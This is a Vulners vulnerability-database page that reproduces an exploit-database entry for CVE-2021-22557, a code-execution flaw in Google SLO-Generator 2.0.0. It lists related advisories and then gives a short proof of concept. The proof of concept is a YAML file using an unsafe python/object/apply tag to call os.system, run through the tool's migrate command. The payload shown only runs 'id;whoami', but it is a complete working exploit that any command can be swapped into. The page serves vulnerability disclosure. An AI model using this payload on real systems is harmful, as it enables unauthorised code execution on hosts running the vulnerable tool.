Vulners
Lucene search
Google SLO-Generator 2.0.0 Code Execution
🗓️ 07 Oct 2021 00:00:00Reported by Kiran GhimireType 
packetstorm🔗 packetstormsecurity.com👁 364 Views
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
 | Google SLO-Generator 2.0.0 - Code Execution Vulnerability | 7 Oct 202100:00 | – | zdt |
 | CVE-2021-22557 | 4 Oct 202114:18 | – | circl |
 | Slo Generator 操作系统命令注入漏洞 | 4 Oct 202100:00 | – | cnnvd |
 | CVE-2021-22557 | 4 Oct 202110:10 | – | cve |
 | CVE-2021-22557 Code execution in SLO Generator via YAML Payload | 4 Oct 202110:10 | – | cvelist |
 | Google SLO-Generator 2.0.0 - Code Execution | 7 Oct 202100:00 | – | exploitdb |
 | EUVD-2021-0246 | 7 Oct 202500:30 | – | euvd |
 | Code Injection in SLO Generator | 5 Oct 202117:53 | – | github |
 | CVE-2021-22557 | 4 Oct 202110:15 | – | nvd |
 | GHSA-J28R-J54M-GPC4 Code Injection in SLO Generator | 5 Oct 202117:53 | – | osv |
10
`# Exploit Title: Google SLO-Generator 2.0.0 - Code Execution
# Date: 2021-09-28
# Exploit Author: Kiran Ghimire
# Software Link: https://github.com/google/slo-generator/releases
# Version: <= 2.0.0
# Tested on: Linux
# CVE: CVE-2021-22557
##############################################################################
*Introduction*:
Is a tool to compute and export Service Level Objectives (SLOs), Error
Budgets and Burn Rates, using configurations written in YAML (or JSON)
format.
##############################################################################
*POC:*
1. pip3 install slo-generator==2.0.0
2. 2. Save the below yaml code in a file as exploit.yaml.
!!python/object/apply:os.system ["id;whoami"]
3. Run the below command
slo-generator migrate -b exploit.yaml
##############################################################################
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
07 Oct 2021 00:00Current
6.4Medium risk
Vulners AI Score6.4
EPSS0.00537